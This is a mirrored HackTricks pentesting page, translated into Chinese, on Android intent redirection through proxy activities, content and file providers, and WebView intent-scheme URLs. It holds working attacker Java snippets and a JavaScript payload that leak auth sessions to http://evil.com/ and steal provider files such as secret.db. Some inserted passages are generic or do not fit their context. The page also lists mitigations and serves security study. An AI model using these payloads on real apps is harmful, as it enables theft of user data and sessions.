mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
324 lines
18 KiB
Markdown
324 lines
18 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
|
||
**研究来源于** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||
|
||
# 介绍
|
||
|
||
这个漏洞类似于**Web安全中的开放重定向**。由于类`Intent`是`Parcelable`的,**属于这个类的对象**可以作为**额外的数据**传递给另一个`Intent`对象。\
|
||
许多开发人员利用这个特性,创建**代理组件**(活动、广播接收器和服务),将嵌入的`Intent`传递给`startActivity(...)`、`sendBroadcast(...)`等危险方法。\
|
||
这是危险的,因为**攻击者可以强制应用启动一个不能从另一个应用直接启动的非导出组件**,或者授予攻击者访问其内容提供程序的权限。**`WebView`**有时也会将**URL从字符串转换为`Intent`**对象,使用`Intent.parseUri(...)`方法,并将其传递给`startActivity(...)`。
|
||
|
||
{% hint style="info" %}
|
||
简而言之:如果攻击者可以发送一个正在不安全执行的Intent,他可能会访问未导出的组件并滥用它们。
|
||
{% endhint %}
|
||
|
||
# 典型案例
|
||
|
||
让我们来看一个例子。`AndroidManifest.xml`文件的片段
|
||
```markup
|
||
<activity android:name=".ProxyActivity" android:exported="true" />
|
||
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||
```
|
||
活动 `ProxyActivity`
|
||
```java
|
||
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||
```
|
||
活动 `AuthWebViewActivity`
|
||
```java
|
||
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||
```
|
||
`AuthWebViewActivity`是一个示例,展示了执行某些不安全操作的**隐藏应用功能**,在这种情况下,它将用户的身份验证会话传递给从`url`参数获取的URL。
|
||
|
||
出于出口限制的原因,**攻击者无法直接访问`AuthWebViewActivity`**。直接调用
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
intent.putExtra("url", "http://evil.com/");
|
||
startActivity(intent);
|
||
```
|
||
抛出`java.lang.SecurityException`,由于`Permission Denial`:`AuthWebViewActivity`未从uid 1337导出。
|
||
|
||
但攻击者可以**强制受害者启动`AuthWebViewActivity`本身**:
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
extra.putExtra("url", "http://evil.com/");
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
并且不会引发任何安全违规,因为**受攻击的应用程序可以访问其所有组件**。使用这段代码片段,攻击者可以绕过Android系统的内置限制。
|
||
|
||
# 提升攻击影响
|
||
|
||
为了提升此漏洞的影响,您需要**找到其他漏洞/配置错误,以增加漏洞的影响**(因为单独的漏洞并不会产生任何风险)。
|
||
|
||
## 通过内容提供程序提升攻击
|
||
|
||
除了访问原始应用程序的任意组件外,**攻击者还可以尝试访问满足以下条件的易受攻击应用程序的内容提供程序**:
|
||
|
||
* 它必须是**非导出的**(否则可以**直接攻击**,而不使用我们在本文中讨论的漏洞)
|
||
* 它必须设置了**`android:grantUriPermissions`**标志为**`true`**。
|
||
* `android:grantUriPermissions="true"`表示您的Java代码可以使用`FLAG_GRANT_READ_URI_PERMISSION`和`FLAG_GRANT_WRITE_URI_PERMISSION`来访问该`ContentProvider`提供的**任何`Uri`**。
|
||
* `android:grantUriPermissions="false"`表示**只能使用子`<grant-uri-permission>`元素指定的`Uri`值**与`FLAG_GRANT_READ_URI_PERMISSION`和`FLAG_GRANT_WRITE_URI_PERMISSION`一起使用。
|
||
|
||
攻击者必须将自己设置为嵌入意图的接收者,并设置以下标志:
|
||
|
||
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION`允许对提供程序进行持久访问(如果没有此标志,访问仅限一次)
|
||
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION`允许通过前缀访问URI - 例如,攻击者可以使用URI `content://com.victim.provider/` 授予对提供程序的所有内容的访问权限,然后使用`ContentResolver`来访问 `content://com.victim.provider/image/1`、`content://com.victim.provider/image/2`等。
|
||
* `Intent.FLAG_GRANT_READ_URI_PERMISSION`允许对提供程序进行读取操作(例如`query`、`openFile`、`openAssetFile`)
|
||
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION`允许进行写入操作
|
||
|
||
一个典型的提供程序示例,攻击者可以访问并执行常规操作,如`query`、`update`、`insert`、`delete`、`openFile`、`openAssetFile`
|
||
```markup
|
||
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||
```
|
||
在`AndroidManifest.xml`文件中窃取用户图片的示例
|
||
|
||
```xml
|
||
<activity android:name=".MainActivity">
|
||
<intent-filter>
|
||
<action android:name="android.intent.action.PICK" />
|
||
<category android:name="android.intent.category.DEFAULT" />
|
||
<data android:mimeType="image/*" />
|
||
</intent-filter>
|
||
</activity>
|
||
```
|
||
|
||
在上述示例中,`AndroidManifest.xml`文件中的`MainActivity`活动定义了一个意图过滤器,用于捕获用户选择图片的意图。该意图过滤器指定了以下条件:
|
||
|
||
- `android.intent.action.PICK`:指定意图的操作为选择操作。
|
||
- `android.intent.category.DEFAULT`:指定意图的默认类别。
|
||
- `image/*`:指定意图的数据类型为图像类型。
|
||
|
||
通过这个意图过滤器,攻击者可以欺骗用户选择图片,并将用户选择的图片传输到攻击者控制的服务器上,从而窃取用户的图片。
|
||
```markup
|
||
<activity android:name=".LeakActivity" android:exported="true" />
|
||
```
|
||
`MainActivity.java` 文件
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
`LeakActivity.java`
|
||
```java
|
||
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||
```
|
||
## 对Android文件提供程序的攻击
|
||
|
||
这个漏洞还使得攻击者有可能窃取开发者预定的目录中的应用文件。为了成功攻击,恶意应用需要获得对Android文件提供程序的访问权限,然后使用Android ContentResolver从文件提供程序中读取内容。
|
||
|
||
示例文件提供程序(更多详细信息请参见[https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
||
```markup
|
||
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||
</provider>
|
||
```
|
||
它提供对特殊列表中的文件的读写访问权限,该列表可以在应用资源中找到,例如在 `res/xml/provider_paths.xml` 中。
|
||
|
||
它可能看起来有些像
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<paths>
|
||
<root-path name="root" path=""/>
|
||
<files-path name="internal_files" path="."/>
|
||
<cache-path name="cache" path=""/>
|
||
<external-path name="external_files" path="images"/>
|
||
</paths>
|
||
```
|
||
每个标签都指定了一个根目录,其`path`值相对于根目录。例如,值`external_files`将对应于`new File(Environment.getExternalStorageDirectory(), "images")`。
|
||
|
||
值`root-path`对应于`/`,即提供对任意文件的访问。
|
||
|
||
假设我们有一些秘密数据存储在文件`/data/data/com.victim/databases/secret.db`中:对该文件的窃取可能如下所示`MainActivity.java`
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
`LeakActivity.java`
|
||
```java
|
||
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||
```
|
||
## 通过WebView访问任意组件
|
||
|
||
可以通过调用`Intent.toUri(flags)`将Intent对象转换为字符串,并通过`Intent.parseUri(stringUri, flags)`将字符串转换回Intent。这个功能通常在WebView(应用内置浏览器)中使用:**应用程序可以验证`intent://`方案,将URL解析为Intent并启动活动**。
|
||
|
||
**这个漏洞可以通过其他漏洞**(例如,通过导出的活动直接在WebView中打开任意链接的能力或通过深链接机制)在客户端应用程序中利用,也可以在远程环境中利用,包括服务器端的跨站脚本攻击或客户端的中间人攻击。
|
||
|
||
漏洞代码示例
|
||
```java
|
||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||
Uri uri = request.getUrl();
|
||
if("intent".equals(uri.getScheme())) {
|
||
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||
return true;
|
||
}
|
||
return super.shouldOverrideUrlLoading(view, request);
|
||
}
|
||
```
|
||
这里的重点是`WebViewClient`类的`shouldOverrideUrlLoading(...)`方法在WebView尝试加载新链接时被调用,但它给了应用程序添加自定义处理程序的选项。
|
||
|
||
为了利用这个漏洞,攻击者需要创建一个WebView重定向到一个特别准备的intent-scheme URL。URL创建的示例:
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
intent.putExtra("url", "http://evil.com/");
|
||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||
```
|
||
攻击示例
|
||
|
||
### 攻击目标
|
||
|
||
在进行攻击之前,我们需要明确攻击的目标。在Android应用程序中,我们可以通过意图(Intent)注入攻击来实现各种攻击目标,例如:
|
||
|
||
- 窃取用户敏感信息
|
||
- 修改应用程序行为
|
||
- 绕过应用程序的安全措施
|
||
|
||
### 攻击步骤
|
||
|
||
以下是一个意图注入攻击的示例步骤:
|
||
|
||
1. 分析目标应用程序:首先,我们需要对目标应用程序进行分析,了解其功能和可能存在的漏洞。
|
||
|
||
2. 识别可注入的意图:我们需要找到目标应用程序中可以接受外部意图的组件,例如Activity、Service或Broadcast Receiver。
|
||
|
||
3. 构造恶意意图:根据目标应用程序的组件和功能,我们可以构造一个恶意意图,其中包含我们想要执行的操作,例如发送短信、拨打电话或访问敏感数据。
|
||
|
||
4. 发送恶意意图:通过发送恶意意图,我们可以将其注入到目标应用程序中的组件中,从而执行我们的攻击操作。
|
||
|
||
5. 利用漏洞:一旦恶意意图被接受并执行,我们可以利用目标应用程序中的漏洞来实现我们的攻击目标,例如窃取用户敏感信息或修改应用程序行为。
|
||
|
||
### 防御措施
|
||
|
||
为了防止意图注入攻击,开发人员可以采取以下措施:
|
||
|
||
- 验证意图来源:在接受外部意图之前,应用程序应该验证意图的来源,确保其来自可信任的来源。
|
||
|
||
- 限制意图接受范围:应用程序应该限制接受意图的组件,只允许特定的组件接受外部意图。
|
||
|
||
- 输入验证:应用程序应该对接受的意图进行输入验证,确保其符合预期的格式和内容。
|
||
|
||
- 最小权限原则:应用程序应该以最小权限原则运行,只授予必要的权限给组件。
|
||
|
||
- 安全编码实践:开发人员应该遵循安全编码实践,避免在应用程序中引入安全漏洞。
|
||
|
||
通过采取这些防御措施,开发人员可以减少意图注入攻击的风险,并提高应用程序的安全性。
|
||
```java
|
||
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||
```
|
||
这个版本与经典版本的漏洞相比有一些限制:
|
||
|
||
- 嵌入的`Parcelable`和`Serializable`对象无法转换为字符串(它们将被忽略)
|
||
- 当调用`Intent.parseUri(...)`时,不安全的标志`Intent.FLAG_GRANT_READ_URI_PERMISSION`和`Intent.FLAG_GRANT_WRITE_URI_PERMISSION`将被忽略。解析器只会在设置了`Intent.URI_ALLOW_UNSAFE`(`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`)标志的情况下保留它们,这种情况非常罕见。
|
||
|
||
许多开发人员仍然忘记对通过WebView接收到的意图进行完整的过滤。
|
||
```java
|
||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||
Uri uri = request.getUrl();
|
||
if("intent".equals(uri.getScheme())) {
|
||
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||
intent.addCategory("android.intent.category.BROWSABLE");
|
||
intent.setComponent(null);
|
||
startActivity(intent);
|
||
return true;
|
||
}
|
||
return super.shouldOverrideUrlLoading(view, request);
|
||
}
|
||
```
|
||
攻击者可以通过选择器指定一个非导出组件
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||
intent.putExtra("url", "http://evil.com/");
|
||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||
```
|
||
并绕过应用对显式意图的保护。因此,我们建议对选择器进行过滤。
|
||
```java
|
||
intent.addCategory("android.intent.category.BROWSABLE");
|
||
intent.setComponent(null);
|
||
intent.setSelector(null);
|
||
```
|
||
但是即使进行了完整的过滤也不能保证完全的保护,因为攻击者可以创建一个与某个未导出活动的`intent-filter`相对应的隐式意图。活动声明的示例:
|
||
```markup
|
||
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||
<intent-filter>
|
||
<action android:name="android.intent.action.VIEW" />
|
||
<category android:name="android.intent.category.DEFAULT" />
|
||
<data android:scheme="victim" android:host="secure_handler" />
|
||
</intent-filter>
|
||
</activity>
|
||
```
|
||
|
||
```java
|
||
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||
```
|
||
因此,我们建议在启动活动之前检查其是否已导出。
|
||
|
||
## 创建不安全意图的其他方法
|
||
|
||
一些应用程序开发人员实现了自己的意图解析器(通常用于处理深链接或推送消息),使用JSON对象、字符串或字节数组等,这些方法与默认方法没有区别,或者存在很大的危险,因为它们可能会扩展`Serializable`和`Parcelable`对象,并且它们还允许设置不安全的标志。安全研究人员还可能遇到更奇特的意图创建版本,例如将字节数组转换为`Parcel`,然后从中读取意图。
|
||
```java
|
||
Uri deeplinkUri = getIntent().getData();
|
||
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||
Parcel parcel = Parcel.obtain();
|
||
parcel.unmarshall(handle, 0, handle.length);
|
||
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||
}
|
||
```
|
||
# Vuln app
|
||
|
||
{% embed url="https://github.com/oversecured/ovaa" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
|
||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|